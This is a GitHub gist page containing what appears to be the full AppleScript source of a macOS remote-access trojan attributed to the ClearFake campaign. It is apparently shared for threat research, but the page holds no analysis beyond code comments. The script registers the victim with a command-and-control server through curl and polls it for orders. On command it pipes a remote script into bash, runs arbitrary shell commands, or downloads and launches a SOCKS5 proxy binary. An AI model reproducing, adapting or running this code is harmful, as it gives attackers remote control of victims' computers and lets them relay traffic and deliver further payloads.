Created
February 26, 2026 15:14
-
-
Save Gi7w0rm/3fb79a77aad73e4eb5f50c8a3a34e7e8 to your computer and use it in GitHub Desktop.
ClearFake's XXXBylat Rat for MacOS
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| run script "" | |
| set app_id to "xxxblyat" | |
| -- Read file contents | |
| on readFile(filePath) | |
| try | |
| set fileContents to read filePath | |
| return fileContents | |
| end try | |
| return "" | |
| end readFile | |
| -- Write string to file | |
| on writeFile(filePath, contents) | |
| try | |
| set fileHandle to (open for access filePath with write permission) | |
| set eof of fileHandle to 0 | |
| write contents to fileHandle starting at eof | |
| close access fileHandle | |
| end try | |
| end writeFile | |
| -- Check if process is already running | |
| on isRunning(processName) | |
| try | |
| set cmd to "pgrep -f " & quoted form of processName & " | grep -v $$ | head -1" | |
| set result to do shell script cmd | |
| return (result is not equal to "") | |
| on error | |
| return false | |
| end try | |
| end isRunning | |
| -- Register bot with C2, returns bot_id | |
| on registerWithC2(c2host, username, os_version) | |
| repeat with attempt from 1 to 10 | |
| try | |
| set url to c2host & "/api/v1/bot/joinsystem/" & username & "/" & os_version | |
| set curlCmd to "curl -sS --connect-timeout 120 --max-time 300 " & quoted form of url | |
| set bot_id to do shell script curlCmd | |
| if bot_id is not "" then | |
| return bot_id | |
| end if | |
| end try | |
| if attempt is 10 then | |
| return "not" | |
| end if | |
| delay 60 | |
| end repeat | |
| return "not" | |
| end registerWithC2 | |
| -- Poll C2 for next command, returns {action_id, command_type, payload} | |
| on pollForCommand(c2host, bot_id) | |
| repeat with attempt from 1 to 10 | |
| try | |
| set url to c2host & "/api/v1/bot/actions/" & bot_id | |
| set curlCmd to "curl -sS --connect-timeout 120 --max-time 300 " & quoted form of url | |
| set response to do shell script curlCmd | |
| set responseLines to paragraphs of response | |
| if (count of responseLines) is 3 then | |
| return responseLines | |
| end if | |
| end try | |
| if attempt is 10 then | |
| return "not" | |
| end if | |
| delay 60 | |
| end repeat | |
| return "not" | |
| end pollForCommand | |
| -- Mark bot as uninstalled and exit | |
| on uninstallBot(userHomePath) | |
| writeFile(userHomePath & "/.uninstalled", "+") | |
| do shell script "exit 0" | |
| end uninstallBot | |
| -- Main loop | |
| on mainLoop(processName) | |
| -- Prevent duplicate instances | |
| if isRunning(processName) then | |
| return | |
| end if | |
| set currentUser to (system attribute "USER") | |
| set userHomePath to "/Users/" & currentUser | |
| -- Bail if already uninstalled | |
| if readFile(userHomePath & "/.uninstalled") is equal to "+" then | |
| return | |
| end if | |
| -- Paths for persistent state files | |
| set lastActionFile to userHomePath & "/.lastaction" | |
| set botIdFile to userHomePath & "/.botid" | |
| set c2HostFile to userHomePath & "/.chost" | |
| set usernameFile to userHomePath & "/.username" | |
| -- Load C2 host and username written by the dropper | |
| set c2host to readFile(c2HostFile) | |
| if c2host is equal to "" then return | |
| set username to readFile(usernameFile) | |
| if username is equal to "" then return | |
| -- Register with C2 if no bot_id yet | |
| set bot_id to readFile(botIdFile) | |
| if bot_id is equal to "" then | |
| set os_version to do shell script "sw_vers -productVersion" | |
| set bot_id to registerWithC2(c2host, username, os_version) | |
| if bot_id is equal to "not" then | |
| uninstallBot(userHomePath) | |
| return | |
| end if | |
| writeFile(botIdFile, bot_id) | |
| delay 60 | |
| end if | |
| -- Main command polling loop | |
| repeat | |
| set lastActionId to readFile(lastActionFile) | |
| set commandResponse to pollForCommand(c2host, bot_id) | |
| if commandResponse is equal to "not" then | |
| uninstallBot(userHomePath) | |
| return | |
| end if | |
| set action_id to item 1 of commandResponse | |
| set command_type to item 2 of commandResponse | |
| set payload to item 3 of commandResponse | |
| if command_type is equal to "uninstall" then | |
| uninstallBot(userHomePath) | |
| return | |
| end if | |
| -- Only execute if this is a new action (deduplicated by action_id) | |
| if action_id is not equal to lastActionId then | |
| set lastActionId to action_id | |
| writeFile(lastActionFile, lastActionId) | |
| if command_type is equal to "repeat" then | |
| try | |
| -- Fetch and execute a script from C2 | |
| set repeatUrl to c2host & "/api/v1/bot/repeat/" & username | |
| do shell script "curl -s " & quoted form of repeatUrl & " | bash &" | |
| end try | |
| end if | |
| if command_type is equal to "doshell" then | |
| try | |
| -- Execute arbitrary shell command sent by C2 | |
| do shell script payload | |
| end try | |
| end if | |
| if command_type is equal to "enablesocks5" then | |
| try | |
| -- Download and run SOCKS5 proxy binary from C2 | |
| set socksUrl to c2host & "/otherassets/socks" | |
| set downloadCmd to "curl -sS --connect-timeout 120 --max-time 300 -o /tmp/socks " & quoted form of socksUrl | |
| do shell script downloadCmd | |
| do shell script "chmod +x /tmp/socks" | |
| do shell script "/tmp/socks > /dev/null 2>&1 & disown" | |
| end try | |
| end if | |
| end if | |
| delay 60 | |
| end repeat | |
| end mainLoop | |
| mainLoop(app_id) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment